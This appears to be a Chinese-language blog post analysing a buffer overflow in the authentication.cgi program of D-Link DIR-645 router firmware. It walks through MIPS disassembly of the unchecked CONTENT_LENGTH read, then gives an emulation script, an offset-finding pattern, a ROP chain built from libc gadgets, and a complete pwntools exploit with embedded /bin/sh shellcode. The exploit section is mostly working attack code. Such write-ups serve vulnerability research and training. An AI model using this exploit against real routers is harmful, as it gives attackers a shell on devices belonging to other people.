D-Link authentication.cgi 緩沖區(qū)溢出漏洞

D-Link authentiction 緩沖區(qū)溢出漏洞

漏洞介紹

D-Link DIR-645中authentiction.cgi在讀取POST“password”參數(shù)時存在緩沖區(qū)溢出漏洞。

漏洞分析

1.PNG

在authenticationcgi_main函數(shù)中:

loc_40B454:
la      $t9, strcmp
move    $a0, $s1         # s1
jalr    $t9 ; strcmp
addiu   $a1, (aPost - 0x420000)  # "POST"
lw      $gp, 0xF90+var_F78($sp)
bnez    $v0, loc_40BC9C  # v0 = 0 請求方式為POST,不跳轉(zhuǎn)
move    $a1, $zero       # c

該函數(shù)通過loc_40B454判斷請求類型是否為POST,當(dāng)請求為POST時進(jìn)入以下分支,獲取環(huán)境變量的值:

la      $t9, memset
li      $a2, 0x184       # n
jalr    $t9 ; memset     #申請大小為0x184的內(nèi)存,初始化為0
move    $a0, $s3         # s  
lw      $gp, 0xF90+var_F78($sp)
lui     $a0, 0x42  # 'B'
la      $t9, getenv
nop
jalr    $t9 ; getenv
la      $a0, aContent_type  # "CONTENT_TYPE"
lw      $gp, 0xF90+var_F78($sp)
lui     $a0, 0x42  # 'B'
la      $t9, getenv
la      $a0, aContent_length  # "CONTENT_LENGTH"
jalr    $t9 ; getenv
move    $s0, $v0          # 這里的v0是上一個函數(shù)getenv("CONTENT_TYPE")的返回結(jié)果
lw      $gp, 0xF90+var_F78($sp)
beqz    $s0, loc_40B610   # 判斷CONTENT_TYPE,s0=0 跳轉(zhuǎn)結(jié)束函數(shù)
addiu   $a0, $sp, 0xF90+var_938

beqz    $v0, loc_40B614  #這里的v0為CONTENT_LENGTH的值,為0則跳轉(zhuǎn)結(jié)束函數(shù)
addiu   $a1, $sp, 0xF90+var_E1C

通過getnev函數(shù)或取環(huán)境變量CONTENT_TYPE、CONTENT_LENGT的值后,通過read函數(shù)獲取post傳遞的參數(shù):

la      $t9, atoi
nop
jalr    $t9 ; atoi      
move    $a0, $v0         # nptr
lw      $gp, 0xF90+var_F78($sp)
move    $s0, $v0         # 獲取轉(zhuǎn)換為int類型的length
la      $v1, stdin
la      $t9, fileno
lw      $a0, (stdin - 0x4353CC)($v1)  # stream  
jalr    $t9 ; fileno                #獲取文件描述符,通過v0傳遞給下面read函數(shù)
addiu   $s1, $sp, 0xF90+var_430   # 棧緩沖區(qū)
lw      $gp, 0xF90+var_F78($sp)
move    $a0, $v0         # fd,設(shè)置文件描述符
la      $t9, read
move    $a1, $s1         # 設(shè)置緩沖區(qū)
jalr    $t9 ; read
move    $a2, $s0         # nbytes  from length,需要讀取的長度 漏洞出現(xiàn)在這里, 沒有對content_length的值進(jìn)行驗(yàn)證,當(dāng)length超長時將造成緩沖區(qū)溢出
bltz    $v0, loc_40B60C
addu    $v0, $s1, $s0

上述過程在read讀取傳遞的數(shù)據(jù)時,使用了未作長度限制的CONTENT_LENGTH的值造成了緩沖區(qū)溢出。

漏洞利用

測試腳本

run.sh
#!/bin/bash
INPUT="$1"
TEST="$2"
LEN=$(echo -n "$INPUT" | wc -c)

echo "$INPUT" | sudo chroot . ./qemu-mipsel-static -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=$TEST -E REQUEST_URI="/authentication.cgi" -E REMOTE_ADDR='192.168.1.1' -g 1234 ./htdocs/web/authentication.cgi

確定偏移

經(jīng)測試發(fā)現(xiàn)當(dāng)字符串過長時,會使getenv函數(shù)無法正常工作,使得無法控制ra寄存器的值。

使用pattern.py創(chuàng)建1100個字符串填充password字段,確定偏移:

cat auth
id=1234&password=Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk
./run.sh `cat auth`  uid=1234
offset.PNG

確定ra偏移為1051

創(chuàng)建ROP

IDA加載lib下的libc.so.0動態(tài)連接庫,然后通過ropmips工具尋找rop鏈。
libc.s0.0為動態(tài)加載,需要確定基地址,可使用gdb的vmmap確定基地址,或通過執(zhí)行過程中的libc函數(shù)地址減去偏移確定基地址。

ROP鏈思路:
1.a0 = 1
2.調(diào)用sleep()
3.shellcode位置確定
4.調(diào)用棧上shellcode

1.a0 = 1

通過mipsrop.find("li $a0,1")尋找到a0賦值為1的gadget,地址為0x0002F0F8:


a0.PNG

s4寄存填充為下一條gadget地址

2.調(diào)用sleep()

.調(diào)用sleep(),通過mipsrop.tail()尋找函數(shù)調(diào)用gadget,找到地址為0x00024CEC:


tail.PNG

s1寄存器填充為sleep函數(shù)的地址,根據(jù)lw $ra, 0x28+var_4($sp),ra為sleep函數(shù)執(zhí)行后的返回地址,填充為下一條gadget地址。

3.shellcode位置確定

使用mipsrop.stackfinder() 尋找棧上shellcode保存的gadget,找到地址為0x0000B814:


2.PNG

shellcode填充位置為sp+0x18,并將地址保存到a1寄存器,s1填充下一條gadget地址。

4.調(diào)用棧上shellcode

調(diào)用shellcode,現(xiàn)在shellcode地址在a1寄存器,通過mipsrop.find("move t9,a1")尋找調(diào)用shellcode的gadget,找到地址為0x00037E6C:

3.PNG

完整exp

from pwn import *

sleep_addr = 0x00056BD0

base_addr = 0x76738000
rop1 =0x0002F0F8
rop2 =0x00024CEC
rop3 =0x0000B814
rop4 =0x00037E6C

shellcode="\xff\xff\x06\x28" 
shellcode+="\xff\xff\xd0\x04" 
shellcode+="\xff\xff\x05\x28" 
shellcode+="\x01\x10\xe4\x27" 
shellcode+="\x0f\xf0\x84\x24" 
shellcode+="\xab\x0f\x02\x24" 
shellcode+="\x0c\x01\x01\x01" 
shellcode+="/bin/sh"

payload = 'id=1234&password='
payload += 'a'*1019
payload += p32(sleep_addr+base_addr) #s1
payload += 'a'*4
payload += p32(rop2+base_addr) #s3  測試發(fā)現(xiàn)s3必須為一個存在的地址,所以隨意填寫一個存在的地址。
payload += p32(rop2+base_addr) #s4
payload += 'a'*16

payload += p32(rop1+base_addr) #ra
payload +='b'*0x1c
payload +=p32(rop4+base_addr) #s1
payload +='b'*4
payload +=p32(rop3+base_addr) #sleep -> ra

payload +='c'*0x18
payload +=shellcode

fp = open('content','wb')
fp.write(payload)
fp.close()

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容